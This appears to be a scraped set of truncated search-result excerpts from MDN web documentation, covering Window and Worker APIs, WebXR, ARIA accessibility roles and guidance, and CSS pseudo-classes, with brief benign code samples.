... interfaces abstractworker abstracts properties and methods common to all kind of workers (i.e. worker or sharedworker). worker represents a running worker thread, allowing you to pass messages to the running worker code. workerlocation defines the absolute location of the script executed by the worker. sharedworker represents a specific kind of worker that can be accessed from several browsing contexts, being several windows, iframes or even workers. workerglobalscope represents the generic scope of any worker (doing the same job as window does for normal web content). different types of worker have scope objects that inherit from this interface and add more specific features. dedicatedworkerglobalscope represents the scope of a dedicated worker, inheriting from workerglobalscop...
WheelEvent - Web APIs
use this interface and avoid the non-standard ones. do not confuse the wheel event with the scroll event: the default action of a wheel event is implementation-defined. thus, a wheel event doesn't necessarily dispatch a scroll event. ...
...use this interface and avoid the non-standard ones. do not confuse the wheel event with the scroll event: the default action of a wheel event is implementation-defined. thus, a wheel event doesn't necessarily dispatch a scroll event. ...
Window.console - Web APIs
Web › API › Window › console
the window.console property returns a reference to the console object, which provides methods for logging information to the browser's console. these methods are intended for debugging purposes only and should not be relied on for presenting information to end users. examples logging to console the first example logs text to the console. console.log("an error occurred while loading the content"); the next example logs an object to the console, with the object's fields expandable using disclosure widgets: console.dir(someobject); see usage in console for more thorough examples. ...
... ...
Window.content - Web APIs
Web › API › Window › content
user. there may also be large incompatibilities between implementations and the behavior may change in the future. note: since firefox 57 (initially nightly-only), both the content and _content variants are only available to chrome (privileged) code, and not available to the web anymore. returns a window object for the primary content window. this is useful in xul windows that have a <browser> (or tabbrowser or <iframe>) with type="content-primary" attribute on it — the most famous example is firefox main window, browser.xul. in such cases, content returns a reference to the window object for the document currently displayed in the browser. it is a shortcut for browserref.contentwindow. in unprivileged content (webpages), content is normally equivalent to top (except in the case ...
...ivalent to top (except in the case of a webpage loaded in a sidebar, content still refers to the window of the currently selected tab). note: some examples use _content instead of content. the former has been deprecated for a long time, and you should use content in any new code. syntax var windowobject = window.content; example executing the following code in a chrome xul window with a <browser type="content-primary"/> element in it draws a red border around the first div on the page currently displayed in the browser: content.document.getelementsbytagname("div")[0].style.border = "solid red 1px"; specification none. see also working with windows in chrome code when accessing content documents from privileged code, be aware of xpcnativewrappers. ...
Window.devicePixelRatio - Web APIs
the devicepixelratio of window interface returns the ratio of the resolution in physical pixels to the resolution in css pixels for the current display device. this value could also be interpreted as the ratio of pixel sizes: the size of one css pixel to the size of one physical pixel. in simpler terms, this tells the browser how many of the screen's actual pixels should be used to draw a single css pixel. this is useful when dealing with the difference between rendering on a standard display versus a hidpi or retina display, which use more screen pixels to draw the same objects, resulting in a sharper image. you can use window.matchmedia() to check if the value of devicepixelratio changes (which can happen, for example, if the user drags the window to a display with a different pixel densi...
... text-justify: auto; } .pixel-ratio { position: relative; margin: auto; height: 1.2em; text-align: right; bottom: 0; right: 1em; font-weight: bold; } result specifications specification status comment css object model (cssom) view modulethe definition of 'window.devicepixelratio' in that specification. working draft initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdevicepixelratiochrome ...
window.dump() - Web APIs
Web › API › Window › dump
x window.dump(message); dump(message); parameters message is the string message to log. notes a common use of dump() is to debug javascript. the message passed to dump() is sent to the system console (native console) if the firefox process was started with the -console option. if the -console option was not specified then the output goes to stderr. output from dump() is not sent to the browser console. output can be sent to the browser console using console.log(). privileged code can also use components.utils.reporterror and nsiconsoleservice to log messages to the error console/browser console. dump() is also available to xpcom components implemented in javascript, even though window is not the global object in components. it is also explicitly made available in sandboxes. however,...
... sure you don't send lots of debugging content to a user's console when they might not be interested in it at all. note that dump output from xpcom components goes to stderr, while dump called elsewhere will output to stdout. in gecko dump() is disabled by default – it doesn't do anything but doesn't raise an error either. to see the dump output you have to enable it by setting the preference browser.dom.window.dump.enabled to true. you can set the preference in about:config or in a user.js file. note: this preference is not listed in about:config by default, you may need to create it (right-click the content area -> new -> boolean). on windows, you will need a console to actually see anything. if you don't have one already, closing the application and re-opening it with the command line p...
Window.localStorage - Web APIs
the read-only localstorage property allows you to access a storage object for the document's origin; the stored data is saved across browser sessions. localstorage is similar to sessionstorage, except that while data stored in localstorage has no expiration time, data stored in sessionstorage gets cleared when the page session ends — that is, when the page is closed. (data in a localstorage object created in a "private browsing" or "incognito" session is cleared when the last "private" tab is closed.) data stored in either localstorage is specific to the protocol of the page. in particular, data stored by a script on a site accessed with http (e.g., http://example.com) is put in a different localstorage object from the same site accessed with https (e.g., https://example.com). the keys an...
...lly converted to strings. syntax mystorage = window.localstorage; value a storage object which can be used to access the current origin's local storage space. exceptions securityerror the request violates a policy decision, or the origin is not a valid scheme/host/port tuple (this can happen if the origin uses the file: or data: scheme, for example). for example, the user may have their browser configured to deny permission to persist data for the specified origin. example the following snippet accesses the current domain's local storage object and adds a data item to it using storage.setitem(). localstorage.setitem('mycat', 'tom'); the syntax for reading the localstorage item is as follows: const cat = localstorage.getitem('mycat'); the syntax for removing the localstorage ite...
Window: message event - Web APIs
the message event is fired on a window object when the window receives a message, for example from a call to window.postmessage() from another browsing context. ...
... the message event is fired on a window object when the window receives a message, for example from a call to window.postmessage() from another browsing context. ...
Window.name - Web APIs
Web › API › Window › name
it has also been used in some frameworks for providing cross-domain messaging (e.g., sessionvars and dojo's dojox.io.windowname) as a more secure alternative to jsonp. ...
... it has also been used in some frameworks for providing cross-domain messaging (e.g., sessionvars and dojo's dojox.io.windowname) as a more secure alternative to jsonp. ...
Window.ondragdrop - Web APIs
Web › API › Window › ondragdrop
use the modern standard html5 drag and drop feature instead. ...
...re not implemented in gecko (bug 112288), you have to use addeventlistener. see addeventlistener for details. example fire an alert on dragdrop in this example, an event listener is added to the window (the event target). if, from an external source, a tab, a link, marked text or a file is dragged and dropped onto this window, the alert is fired. note how event.stoppropagation(); prevents the browser from loading the dropped tab, link or file. <html> <head><title>dragdroptest</title> <script type="text/javascript"> window.addeventlistener("dragdrop", testfunc, false); function testfunc(event) { alert("dragdrop!"); event.stoppropagation(); } </script> </head> <body> i am bodytext </body> </html> specification not part of specification. ...
Window.onmozbeforepaint - Web APIs
obsolete since gecko 11 (firefox 11 / thunderbird 11 / seamonkey 2.8)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. summary an event handler for the mozbeforepaint event. this is used in concert with the window.mozrequestanimationframe() method to perform smooth, synchronized animations from javascript code. syntax window.onmozbeforepaint = funcref; funcref is the handler function. example see window.mozrequestanimationframe() for an example. notes this event fires immediately before the browser window is repainted, if the event has been requested by one or more scripts calling window.mozrequestanimationframe(). the event handler receives as an input parameter an event wh...
... immediately before the browser window is repainted, if the event has been requested by one or more scripts calling window.mozrequestanimationframe(). the event handler receives as an input parameter an event whose timestamp property is the time, in milliseconds since epoch, that is the "current time" for the current animation frame. this time is the same for all animations being run in the same browser window, including those using the window.mozrequestanimationframe() method, css transitions, and smil animations. specification not part of a specification. ...
Window: pageshow event - Web APIs
bubbles no cancelable no interface pagetransitionevent event handler property onpageshow examples this example sets up event handlers for events listed in the array events. ...
... bubbles no cancelable no interface pagetransitionevent event handler property onpageshow examples this example sets up event handlers for events listed in the array events. ...
window.requestIdleCallback() - Web APIs
this enables developers to perform background and low priority work on the main event loop, without impacting latency-critical events such as animation and input response. functions are generally called in first-in-first-out order; however, callbacks which have a timeout specified may be called out-of-order if necessary in order to run them before the timeout elapses. you can call requestidlecallback() within an idle callback function to schedule another callback to take place no sooner than the next pass through the event loop. ...
...assed, the callback will be called during the next idle period, even if doing so risks causing a negative performance impact. example see our complete example in the article cooperative scheduling of background tasks api. specifications specification status comment cooperative scheduling of background tasks proposed recommendation initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetrequestidlecallback expe...
Window: resize event - Web APIs
it is still possible to set onresize attributes or use addeventlistener() to set a handler on any element. however, resize events are only fired on the window object (i.e. returned by document.defaultview). only handlers registered on the window object will receive resize events. ...
...lements to be notified of resize changes. see resize observer to read the draft document, and github issues to read the on-going discussions. examples window size logger the following example reports the window size each time it is resized. bear in mind that since the example is running in an <iframe>, you'll need to actually get the <iframe> to resize before you see an effect. ...
Window.screenLeft - Web APIs
Web › API › Window › screenLeft
examples in our screenleft-screentop example, you'll see a canvas onto which has been drawn a circle. ...
... examples in our screenleft-screentop example, you'll see a canvas onto which has been drawn a circle. ...
Window.screenTop - Web APIs
Web › API › Window › screenTop
examples in our screenleft-screentop example, you'll see a canvas onto which has been drawn a circle. ...
... examples in our screenleft-screentop example, you'll see a canvas onto which has been drawn a circle. ...
Window.scrollX - Web APIs
Web › API › Window › scrollX
you can get the number of pixels the document is scrolled vertically from the scrolly property. syntax var x = window.scrollx; value in practice, the returned value is a double-precision floating-point value indicating the number of pixels the document is currently scrolled horizontally from the origin, where a positive value means the content is scrolled to the left. ...
...ere is no viewport, the returned value is 0. example this example checks the current horizontal scroll position of the document. if it's greater than 400 pixels, the window is scrolled back to the beginning. if (window.scrollx > 400) { window.scroll(0,0); } notes the pagexoffset property is an alias for the scrollx property: window.pagexoffset == window.scrollx; // always true for cross-browser compatibility, use window.pagexoffset instead of window.scrollx. additionally, older versions of internet explorer (< 9) do not support either property and must be worked around by checking other non-standard properties. a fully compatible example: var x = (window.pagexoffset !== undefined) ? window.pagexoffset : (document.documentelement || document.body.parentnode || document.body).scrol...
Window.scrollY - Web APIs
Web › API › Window › scrollY
you can get the number of pixels the document is scrolled horizontally from the scrollx property. syntax var y = window.scrolly value in practice, the returned value is a double-precision floating-point value indicating the number of pixels the document is currently scrolled vertically from the origin, where a positive value means the content is scrolled to upward. ...
...; // reset the scroll position to the top left of the document. } window.scrollbypages(1); notes use this property to check that the document hasn't already been scrolled when using relative scroll functions such as scrollby(), scrollbylines(), or scrollbypages(). the pageyoffset property is an alias for the scrolly property: window.pageyoffset === window.scrolly; // always true for cross-browser compatibility, use window.pageyoffset instead of window.scrolly. additionally, older versions of internet explorer (< 9) do not support either property and must be worked around by checking other non-standard properties. a fully compatible example: var supportpageoffset = window.pagexoffset !== undefined; var iscss1compat = ((document.compatmode || "") === "css1compat"); var x = supportpageof...
Window.stop() - Web APIs
Web › API › Window › stop
the window.stop() stops further resource loading in the current browsing context, equivalent to the stop button in the browser. because of how scripts are executed, this method cannot interrupt its parent document's loading, but it will stop its images, new windows, and other still-loading objects. syntax window.stop() example window.stop(); specification specification status comment html living standardthe definition of 'window.stop()' in that specification. living standard html5the definition of 'window.stop' in that specification. recommendation browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.co...
...us comment html living standardthe definition of 'window.stop()' in that specification. living standard html5the definition of 'window.stop' in that specification. recommendation browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstopchrome full support yesedge full support 14firefox full support ...
WindowOrWorkerGlobalScope.queueMicrotask() - Web APIs
the queuemicrotask() method, which is exposed on the window or worker interface, queues a microtask to be executed at a safe time prior to control returning to the browser's event loop. the microtask is a short function which will run after the current task has completed its work and when there is no other code waiting to be run before control of the execution context is returned to the browser's event loop. this lets your code run without interfering with any other, potentially higher priority, code that is pending, but before the browser regains control over the execution context, potentially depending on work you need to complete. you can learn more about how to use microtasks and why you might choose to do so in our microtask guide. the importance of microtasks comes in its ability to p...
... specific order. see using microtasks in javascript with queuemicrotask() for more details. microtasks are especially useful for libraries and frameworks that need to perform final cleanup or other just-before-rendering tasks. queuemicrotask() is exposed on the windoworworkerglobalscope mixin. syntax scope.queuemicrotask(function); parameters function a function to be executed when the browser engine determines it is safe to call your code. enqueued microtasks are executed after all pending tasks have completed but before yielding control to the browser's event loop. return value undefined. examples self.queuemicrotask(() => { // function contents here }) taken from the queuemicrotask spec: myelement.prototype.loaddata = function (url) { if (this._cache[url]) { queuemi...
Worker() - Web APIs
Web › API › Worker › Worker
syntax var myworker = new worker(aurl, options); parameters aurl a usvstring representing the url of the script the worker will execute. it must obey the same-origin policy. ...
... syntax var myworker = new worker(aurl, options); parameters aurl a usvstring representing the url of the script the worker will execute. it must obey the same-origin policy. ...
WorkerGlobalScope.console - Web APIs
the console read-only property of the workerglobalscope interface returns a console object providing access to the browser console for the worker. syntax var consoleobj = self.console; value a console object. example this property allows you to have access to a browser console for debugging purposes, inside a worker. so for example you could call console.log('test'); inside a worker (which would basically be the equivalent of self.console.log('test');, as these are being called on the worker scope, which can be referenced with workerglobalscope.self), to return a test message out to the browser console. if you are calling console.log() from a dedicatedworkerglobalscope or other worker scope that acts on a single loaded window, that tab's web console will receive the logs. however, ...
...being called on the worker scope, which can be referenced with workerglobalscope.self), to return a test message out to the browser console. if you are calling console.log() from a dedicatedworkerglobalscope or other worker scope that acts on a single loaded window, that tab's web console will receive the logs. however, if you are calling console.log() from a sharedworkerglobalscope, the global browser console will receive the logs. specifications not yet part of any specification. ...
XRBoundedReferenceSpace.boundsGeometry - Web APIs
origin for x and z located in or near the center of the space, and with the orientation set facing in a logical forward direction, as appropriate for the underlying platform or xr hardware. in order to reduce the risk of the room boundaries being used for fingerprinting purposes, each point in the boundsgeometry array may be rounded or adjusted by some amount. the specification recommends that browsers shift the points to the nearest 5 centimeters (while avoiding going outside the physical limitations of the hardware). boundary size xrboundedreferencespace is not intended to be used for very large bounded areas. instead, it's meant to be used for one-room spaces with no more than around 15 meters of available movement space in any direction from the native origin. that said, the bounds ext...
... to exit the bounds specified by boundsgeometry. however, if the user's surroundings permit them to move in such a way as to exit the defined bounds, your content must be able to gracefully handle the situation, which is not considered an error condition. although some samples render a mesh or other shape to display the bounds to the user, in a real-world application, you shouldn't do this. the browser, however, should provide appropriate warnings to the user about any risks (such as the risk that they might run into a physical wall if they keep moving). specifications specification status comment webxr device apithe definition of 'boundsgeometry' in that specification. working draft initial definition. ...
XRInputSource.profiles - Web APIs
specifications specification status comment webxr device apithe definition of 'xrinputsource.profiles' in that specification. working draft initial definition. ...
... specifications specification status comment webxr device apithe definition of 'xrinputsource.profiles' in that specification. working draft initial definition. ...
XRReferenceSpace - Web APIs
coordinate space. this is useful for positioning objects while rendering, and to perform the needed transforms when changing the viewer's position and/or orientation in 3d space. events in addition to other events that may be sent to xrspace or eventtarget objects, the following also apply to xrreferencespace objects. reset the reset event is sent to an xrreferencespace object when the browser detects a discontinuity has occurred wherein the tracked object's origin relative to the user's environment or location. this can happen, for example, after the user recalibrates their xr device, or if the device automatically adjusts its origin after losing and regaining tracking. in addition to using addeventlistener(), you can establish a reset event handler by setting the onreset event h...
...ace tries to keep the origin stable relative to the environment. xrreferencespace local-floor similar to the local type, except the starting position is placed in a safe location for the viewer to stand, where the value of the y axis is 0 at floor level. if that floor level isn't known, the user agent will estimate the floor level. if the estimated floor level is non-zero, the browser is expected to round it such a way as to avoid fingerprinting (likely to the nearest centimeter). xrreferencespace unbounded a tracking space which allows the user total freedom of movement, possibly over extremely long distances from their origin point. the viewer isn't tracked at all; tracking is optimized for stability around the user's current position, so the native origin m...
XSLT Basic Example - Web APIs
the example will take an xml document that contains information (title, list of authors and body text) about an article and present it in an human readable form. figure 1 shows the source of the basic xslt example. the xml document (example.xml) contains the information about the article. using the ?xml-stylesheet? processing instruction, it links to the xslt stylesheet (example.xsl) via its href attribute. an xslt stylesheet starts with the xsl:stylesheet element, which contains all the templates used to create the final output. ...
...foo - mr. bar ...
Using the slider role - Accessibility
the slider role is used for markup that allows a user to select a value from within a given range. the slider role is assigned to the "thumb," the control that is adjusted to change the value. as the user interacts with the thumb, the application must programmatically adjust the slider's aria-valuenow (and possible aria-valuetext) attribute to reflect the current value. see the examples section below for more information. keyboard and focus the slider should be keyboard focusable and operable. ...
...luetext) attribute to reflect the current value. see the examples section below for more information. keyboard and focus the slider should be keyboard focusable and operable. when the user tabs focus to the slider, it should land on the thumb: the control a mouse user would drag. arrow keys should operate as follows (localization for right-to-left languages should reverse the direction of the arrows): key(s) action right and up arrows increase the selected value left and down arrows decrease the selected value page up and page down optionally increase and decrease the value by a set amount (e.g. by 10 on a range from 0 to 100) possible effects on user agents and assistive technology note: opinions may differ on how assistive tec...
Using the status role - Accessibility
status information content must be provided within a status object, and it should be ensured that this object does not receive focus. ...
... status information content must be provided within a status object, and it should be ensured that this object does not receive focus. ...
Using ARIA: Roles, states, and properties - Accessibility
hese divided into roles (defining a type of user interface element) and states and properties that are supported by a role. authors must assign an aria role and the appropriate states and properties to an element during its life-cycle, unless the element already has appropriate aria semantics (via use of an appropriate html element). addition of aria semantics only exposes extra information to a browser's accessibility api, and does not affect a page's dom. roles widget roles button checkbox gridcell link menuitem menuitemcheckbox menuitemradio option progressbar radio scrollbar searchbox separator (when focusable) slider spinbutton switch tab tabpanel textbox treeitem composite roles the techniques below describe each composite role as well as their required and ...
...etext live region attributes aria-live aria-relevant aria-atomic aria-busy drag & drop attributes aria-dropeffect aria-dragged relationship attributes aria-activedescendant aria-colcount aria-colindex aria-colspan aria-controls aria-describedby aria-details aria-errormessage aria-flowto aria-labelledby aria-owns aria-posinset aria-rowcount aria-rowindex aria-rowspan aria-setsize microsoftedge-specific properties x-ms-aria-flowfrom ...
ARIA: document role - Accessibility
generally used in complex composite widgets or applications, the document role can inform assistive technologies to switch context to a reading mode: the document role tells assistive technologies with reading or browse modes to use the document mode to read the content contained within this element. <div role="dialog"> ... <div id="infotext" role="document" tabindex="0"> <p>some informational text goes here.</p> </div> ... <button>close</button> </div> this example shows a dialog widget with some controls and a section with some informational text that the assistive technology user can read when tabbing to it. description by default, web pages are treated as documents; assistive technologies (at) enter browse or read mode when entering a new web page. this mode can be altered thr...
...me controls and a section with some informational text that the assistive technology user can read when tabbing to it. description by default, web pages are treated as documents; assistive technologies (at) enter browse or read mode when entering a new web page. this mode can be altered through various roles, including the widget and application roles. the document role brings the at back into browse or read mode. generally placed within an application role or other interactive widget role, the document role is used to indicate a section of a complex composit widget that an assistive technology user should read using its browse or virtual reading mode, if available. because ats with reading mode default to that mode for all elements except for those with a widget or application role set, ...
ARIA: feed role - Accessibility
<section role="feed" aria-busy="false"> ... <article aria-posinset="427" aria-setsize="-1">...</article> <article aria-posinset="428" aria-setsize="-1">...</article> <article aria-posinset="429" aria-setsize="-1">...</article> ... ...
...rn allows a screen reader to reliably read and trigger the loading of feed content while in reading mode. a feed is a container element whose children are <article>s or have role article. each article within a feed should be focusable, with tabindex of 0 or -1. an article should be scrolled into view when it, or a descendant element, receives focus. if the addition of articles occupies the main browser thread, make sure to set aria-busy="true" on the feed itself, and make sure to set it back to false when processing ends, or the user may not see the updates. to ensure good user experience, avoid inserting or removing articles in the middle of a feed, load new articles before the user has reached the end of the feed, and provide keyboard commands for moving focus among articles so that keyboa...
ARIA: textbox role - Accessibility
the textbox role is used to identify an element that allows the input of free-form text. whenever possible, rather than using this role, use an <input> element with type="text", for single-line input, or a <textarea> element for multi-line input. description when an element has the textbox role, the browser sends an accessible textbox event to assistive technologies, which can then notify the user about it. the default is a single line input, in which return or enter submits the form; in this case, it is preferable to use an html <input> with type="text". to create a multi-line text box which supports line breaks, as in an html <textarea>, set aria-multiline="true". including the html contenteditable attribute ensures the text node is editable. <!-- simple text input field --> <div id="tx...
...ies and states must be maintained, and forms submission on enter or return on a single line textbox needs to be handled. focus event handler and aria-activedescendent attribute if you are implementing a composite widget, such as a combobox composed of a text box and a listbox, you need to manage the aria-activedescendent attribute using a handler. before using this technique, ensure that the browsers you need to target currently support it. see the specification of aria-descendent for further information. it is a better practice to use an <input> element with type="text", or a <textarea> element instead of the aria textbox role. when using either semantic element, the aria textbox role is not necessary. see notes on using aria in html. possible effects on user agents and assistive tec...
Alerts - Accessibility
each field has a set of criteria which must be me...
...ur screen reader should tell you that this field is invalid. jaws 9 supports this, but jaws 8 does not, so this may not work in all versions of the screen readers supported. a few questions that you might have q. why did you put both “(required)” in the label text and the aria-required attribute on some of the inputs? a. if this were a real live form, and the site was being visited by a browser that does not yet support aria, we’d still want to give an indication that this is a required field. q. why don’t you set focus back to the invalid field automatically? a. because this is not allowed by the windows api specs, and possibly others. also, letting the focus jump around without real user interaction too often is not a nice thing to do in general. tbd: let's rethink this -- ...
Accessibility and Spacial Patterns - Accessibility
e than other kinds of neurological responses believed to cause photosensitive seizures. stripes and patterns are typical of the kinds of images that create problems, and stripes have been studied most closely. there's the potential for causing harm if there are more than five light-dark pairs of stripes in any orientation. they can be parallel, radial, curved or straight, and may be formed by rows of repeating elements. in 2005, arnold wilkins, john emmett, and graham harding evaluated the guidelines for characterizing patterned images that could precipitate seizures. they revised the guidelines to their fundamental core, and came up with a surprisingly simple, but powerful test. which they published in the paper, characterizing the patterned images that precipitate seizures and optimi...
...move her eyes across text written on a page. the nature of space can change depending upon what mime type is being used, and its version. for example, borders on svg can extend both inward and outward from its dimensions, or for newer versions of svg, entirely outward from it, thus reducing the space around the svg to enable perception. ...
An overview of accessible web applications and widgets - Accessibility
html 4, such as sliders, menu bars, tabs, and dialogs. properties describe characteristics of these widgets, such as if they are draggable, have a required element, or have a popup associated with them. states describe the current interaction state of an element, informing the assistive technology if it is busy, disabled, selected, or hidden. aria attributes are interpreted automatically by the browser and translated to the operating system's native accessibility apis. so an element with role="slider" will be controlled in the same way as a native slider is controlled on the operating system. this provides a much more consistent user experience than was possible in the previous generation of web applications, since assistive technology users can apply all of their knowledge of how desktop ap...
...aria-labelledby attributes we've added to describe these panels. --> <div id="ch1panel" role="tabpanel" aria-labelledby="ch1tab">chapter 1 content goes here</div> <div id="ch2panel" role="tabpanel" aria-labelledby="ch2tab">chapter 2 content goes here</div> <div id="quizpanel" role="tabpanel" aria-labelledby="quiztab">quiz content goes here</div> </div> aria is well supported by all major browsers, including firefox, safari, opera, chrome, and internet explorer, and many assistive technologies. presentational changes dynamic presentational changes include using css to change the appearance of content (such as a red border around invalid data, or changing the background color of a checked checkbox), as well as showing or hiding content. state changes aria provides attributes for decl...
Cognitive accessibility - Accessibility
d match the visual order, which in turn should match the tabbing order. if the tab order jumps around, especially in a way that does not match the visual order when navigating with a keyboard, users can become disoriented. focused elements should be visibly focused when a user navigates using a keyboard, the ui should make it obvious which element currently has focus. don't alter or remove the browser's default :focus styling, unless you're making focus even more obvious. link text conveys meaning the link's text should clearly and concisely communicate what the user should expect to be navigated to next if they choose to activate it. poorly phrased link text may confuse users as to its purpose or destination. some forms of assistive technology allow users to navigate by lists of a...
...r interactions and so on, even on different sections of your site, help all your users. be consistent and predictable, and use norms while unlabeled iconography is not the most effective method of conveying information, keeping the use of the icons (and if labeled, their label text) consistent helps people to understand what the icon represents. similarly, don't change defaults like the browser's back button. if you need to redirect a user, let the user know about it beforehand. input assistance guideline 3.3 helps to ensure accurate data entry, stating "help users avoid and correct mistakes." while we all make mistakes, some people are more likely to make mistakes, less likely to notice a mistake, or have a harder time correcting a mistake once they make one. input assistance guid...
Implementing a Microsoft Active Accessibility (MSAA) Server - Accessibility
appening inside mozilla. they need to know about focus changes and other events, and it needs to know what objects are contained in the current document or dialog box. using this information, a screen reader will speak out loud important changes to the document or ui, and allow the user to track where they navigate. the screen reader user can navigate the web page using screen reader commands or browser commands, and the two pieces of software must remain in sync. some screen readers can even show information on a refreshable braille display. screen magnifiers will zoom to the focus, keeping it on the screen at all times, or even allow the user to enter a special low vision document reading mode, with a variety of features such as ticker mode where text is streamed on a single line. finally, v...
...arefully at how microsoft implements msaa for its tree views. the tree view object itself handles all of the requests for get_accname for child objects. the child id is part of the variant structure's information. this means you don't really need to create a separate object for each tree view row, which saves a lot of work. also, rather than have multiple nested level of objects, treat all of the rows as direct children of the main tree view object. simply put the level, i.e. "1", "2", 3", etc. in the value field. msaa implementation is not performant problem: the assistive technology may interact slowly with your application. solution: try not to calculate the same things more than once or create the same objects more than once. for example, create and cache an object's children when you l...
Web accessibility for seizures and physical reactions - Accessibility
to content that occurs more than 3 times per second, is large enough, and bright enough. section 508 prohibits flickering effects with a frequency greater than 3 hz (flickers per second) and lower than 55 hz. the epilepsy foundation's article "take advantage of media queries with <style> in setting up media queries, you are enabling controls by the user; these controls are made available in the browser or in the os. see the mdn document, "accessibility: what users can to to browse more safely" to see more details of how a user accesses the controls. prefers-reduced-motion support for prefers-reduced-motion in modern browsers is growing. @media screen and (prefers-reduced-motion: reduce) { } @media screen and (prefers-reduced-motion) { } to see a great example of how to use the code prefer...
...l and allows the author to explain non-literal text and images to users. transitions (for css and svg) the following is from the web animations model csswg.org drafts the web animations model is intended to provide the features necessary for expressing css transitions [css-transitions-1], css animations [css-animations-1], and svg [svg11]. see also mdn accessibility: what users can to to browse more safely accessibility: understanding color and luminance applying svg effects to html content basic animations (canvas tutorial) canvas api canvasrenderingcontext2d.drawimage() <color> document object model mediaquerylist using dynamic styling information webgl: 2d and 3d graphics for the web color color tutorial: describing color tom jewett. formula to determine brightness o...
Keyboard - Accessibility
mething to it and produce a change of some kind (for example, activating a link or changing an option). note: one important exception to this rule is if the element has role="document" applied to it, inside an interactive context (such as role="application"). in such a case, focusing the nested document is the only way of returning assistive technology to a non-interactive state (often called "browse mode"). most interactive elements are focusable by default; you can make an element focusable by adding a tabindex=0 attribute value to it. however, you should only add tabindex if you have also made the element interactive, for example, by defining appropriate event handlers keyboard events. see also tabindex global html attribute global event handlers: onkeydown global event handlers: ...
... of such elements as defined in the html document. see also tabindex global html attribute focusable element must have focus styling any element that can receive keyboard focus should have visible styling that indicates when the element is focused. you can do this with the :focus css pseudo-class. standard focusable elements such as links and input fields are given special styling by the browser by default, so you might not need to specify focus styling for such elements, unless you want the focus styling to be more distinctive. if you create your own focusable components, be sure that you also define focus styling for them. see also using css to change the presentation of a ui component when it receives focus ...
:defined - CSS: Cascading Style Sheets
Web › CSS › :defined
with the customelementregistry.define() method). /* selects any defined element */ :defined { font-style: italic; } /* selects any instance of a specific custom element */ simple-custom:defined { display: block; } syntax :defined examples hiding elements until they are defined the following snippets are taken from our defined-pseudo-class demo (see it live also). ...
... complex custom element that takes a while to load into the page — you might want to hide instances of the element until definition is complete, so that you don't end up with flashes of ugly unstyled elements on the page specifications specification status comment html living standardthe definition of ':defined' in that specification. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:definedchrome ...
:empty - CSS: Cascading Style Sheets
Web › CSS › :empty
the :empty css pseudo-class represents any element that has no children. children can be either element nodes or text (including whitespace). comments, processing instructions, and css content do not affect whether an element is considered empty. note: in selectors level 4 the :empty pseudo-class was changed to act like :-moz-only-whitespace, but no browser currently supports this yet. ...
.... note: in selectors level 4 the :empty pseudo-class was changed to act like :-moz-only-whitespace, but no browser currently supports this yet. /* selects any <div> that contains no content */ div:empty { background: lime; } syntax :empty examples html <div class="box"><!-- i will be lime. --></div> <div class="box">i will be pink.</div> <div class="box"> <!-- i will be pink in older browsers because of the whitespace around this comment. --> </div> <div class="box"> <p><!-- i will be pink in all browsers because of the non-collapsible whitespace and elements around this comment. --></p> </div> css body { display: flex; justify-content: space-around; } .box { background: pink; height: 80px; width: 80px; } .box:empty { background: lime; } result accessibility...
:link - CSS: Cascading Style Sheets
Web › CSS › :link
sequent link-related pseudo-class (:active, :hover, or :visited) that has at least equal specificity. to style links appropriately, put the :link rule before all other link-related rules, as defined by the lvha-order: :link — :visited — :hover — :active. note: use :any-link to select an element independent of whether it has been visited or not. syntax :link examples by default, most browsers apply a special color value to visited links. thus, the links in this example will probably have special font colors only before you visit them. (after that, you'll need to clear your browser history to see them again.) however, the background-color values are likely to remain, as most browsers do not set that property on visited links by default. html <a href="#ordinary-target">this is an o...
...ft no change. selectors level 3the definition of ':link' in that specification. recommendation no change. css level 2 (revision 1)the definition of ':link' in that specification. recommendation lift the restriction to only apply it for <a> element. css level 1the definition of ':link' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:linkchrome ...
:nth-child() - CSS: Cascading Style Sheets
:nth-child(7) represents the seventh element. :nth-child(5n) represents elements 5 [=5×1], 10 [=5×2], 15 [=5×3], etc. the first one to be returned as a result of the formula is 0 [=5x0], resulting in a no-match, since the elements are indexed from 1, whereas n s...
... :nth-child(7) represents the seventh element. ...
:nth-last-child() - CSS: Cascading Style Sheets
:nth-last-child(7) represents the seventh element, counting from the end. :nth-last-child(5n) represents elements 5, 10, 15, etc., counting from the end. :nth-last-child(3n+4) represents elements 4, 7, 10,...
... :nth-last-child(7) represents the seventh element, counting from the end. ...
@charset - CSS: Cascading Style Sheets
Web › CSS › @charset
set at-rules are defined, only the first one is used, and it cannot be used inside a style attribute on an html element or inside the <style> element where the character set of the html page is relevant. @charset "utf-8"; this at-rule is useful when using non-ascii characters in some css properties, like content. as there are several ways to define the character encoding of a style sheet, the browser will try the following methods in the following order (and stop as soon as one yields a result) : the value of the unicode byte-order character placed at the beginning of the file. the value given by the charset attribute of the content-type: http header or the equivalent in the protocol used to serve the style sheet. the @charset css at-rule. use the character encoding defined by the ref...
